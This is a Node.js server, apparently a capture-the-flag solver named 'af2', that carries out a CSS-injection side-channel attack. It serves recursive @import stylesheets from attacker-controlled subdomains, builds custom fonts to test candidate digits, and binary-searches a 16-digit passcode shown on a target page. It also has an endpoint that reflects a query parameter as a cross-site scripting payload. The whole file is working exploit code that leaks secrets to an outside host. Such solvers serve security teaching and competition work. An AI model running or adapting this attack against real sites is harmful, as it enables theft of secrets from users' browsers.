|
const express = require("express"); |
|
const http = require('http'); |
|
const { WebSocketServer } = require('ws'); |
|
|
|
const app = express(); |
|
|
|
const HOST = "http://host"; |
|
const DNS = "dns.host.com"; |
|
const TARGET = "http://localhost:9000"; |
|
|
|
const PORT = process.env.PORT || 80; |
|
|
|
const font = require("./font.js"); |
|
|
|
app.set("view engine", "hbs"); |
|
app.use(express.urlencoded({ extended: false })); |
|
|
|
app.use((req, res, next) => { |
|
console.log(req.originalUrl, known, alphabet); |
|
|
|
res.locals.target = encodeURIComponent(TARGET); |
|
res.locals.host = encodeURIComponent(HOST); |
|
res.locals.dns = encodeURIComponent(DNS); |
|
|
|
next(); |
|
}); |
|
|
|
let cssMap = new Map(); |
|
let cssMap2 = new Map(); |
|
let cssMap3 = new Map(); |
|
|
|
// 3 different polling for 3 recursive imports |
|
// lmfao |
|
app.get("/c/:i", (req, res) => { |
|
let i = req.params.i; |
|
cssMap.set(parseInt(i), (r) => res.end(r)); |
|
}); |
|
app.get("/c2/:i", (req, res) => { |
|
let i = req.params.i; |
|
cssMap2.set(parseInt(i), (r) => res.end(r)); |
|
}); |
|
app.get("/c3/:i", (req, res) => { |
|
let i = req.params.i; |
|
cssMap3.set(parseInt(i), (r) => res.end(r)); |
|
}); |
|
|
|
app.get("/", (req, res) => res.render("pwn")); |
|
|
|
app.get("/xss", (req, res) => res.end(req.query.xss)); |
|
|
|
const server = http.createServer(app); |
|
const wss = new WebSocketServer({ noServer: true }); |
|
|
|
server.on('upgrade', (request, socket, head) => { |
|
wss.handleUpgrade(request, socket, head, (ws) => { |
|
wss.emit('connection', ws, request); |
|
}); |
|
}); |
|
|
|
let known = ""; |
|
let alphabet = "01234567"; |
|
let checking = "" |
|
let i = 0; |
|
|
|
let stopperNum = 1; |
|
|
|
const genCSS = () => { |
|
checking = alphabet.slice(0, alphabet.length / 2); |
|
console.log("passcode: " + known, Array.from(checking)); |
|
let woff = font.createFont("passcode: " + known, `pwn-${i}`, Array.from(checking)); |
|
|
|
let css = `@import url(http://c${i + 1}.${DNS}/c/${i + 1}); |
|
@import url(http://2c${i + 1}.${DNS}/c2/${i + 1}); |
|
@import url(http://3c${i + 1}.${DNS}/c3/${i + 1}); |
|
@font-face { |
|
font-family: "pwn-${i}"; |
|
src: url(${woff}); |
|
} |
|
h1${":nth-child(1)".repeat(i)} { |
|
font-family: "pwn-${i}"; |
|
} |
|
`; |
|
|
|
for(let j = i; j >= 0; j--) { |
|
css += ` |
|
${(`#b${j}`).repeat(i + 1)} { |
|
display: none; |
|
} |
|
`; |
|
} |
|
|
|
return css; |
|
}; |
|
|
|
const sleep = (delay) => new Promise(r => setTimeout(r, delay)); |
|
|
|
const pwn = async (ws) => { |
|
while(!cssMap3.get(i)) { |
|
await sleep(1); |
|
} |
|
cssMap3.get(i)(`${`#stopper`.repeat(++stopperNum)} { display: block };`); |
|
await sleep(100); |
|
while(!cssMap.get(i)) { |
|
await sleep(1); |
|
} |
|
cssMap.get(i)(genCSS()); |
|
await sleep(100); |
|
while(!cssMap2.get(i)) { |
|
await sleep(1); |
|
} |
|
cssMap2.get(i)(`${`#stopper`.repeat(++stopperNum)} { display: none };`); |
|
await sleep(100); |
|
ws.send(JSON.stringify({ type: "check", num: i })); |
|
i++; |
|
}; |
|
|
|
wss.on('connection', (ws, request) => { |
|
ws.on('message', async (message) => { |
|
let data = JSON.parse(message); |
|
console.log(data); |
|
|
|
if(data.type === "start") { |
|
pwn(ws); |
|
} |
|
|
|
if(data.type === "result") { |
|
let frames = data.frames; |
|
|
|
if(data.result) { |
|
alphabet = checking; |
|
} |
|
else { |
|
alphabet = alphabet.replace(checking, ""); |
|
} |
|
|
|
if(alphabet.length === 1) { |
|
console.log("yoooooo", alphabet, known + alphabet); |
|
known += alphabet; |
|
alphabet = "01234567"; |
|
|
|
if(known.length === 16) { |
|
console.log("gg", known); |
|
return; |
|
} |
|
} |
|
if(alphabet.length === 0) { |
|
alphabet = "01234567"; |
|
} |
|
|
|
await sleep(250); |
|
pwn(ws); |
|
} |
|
}); |
|
}); |
|
|
|
server.listen(PORT, () => console.log(`af2 solver listening on port ${PORT}`)); |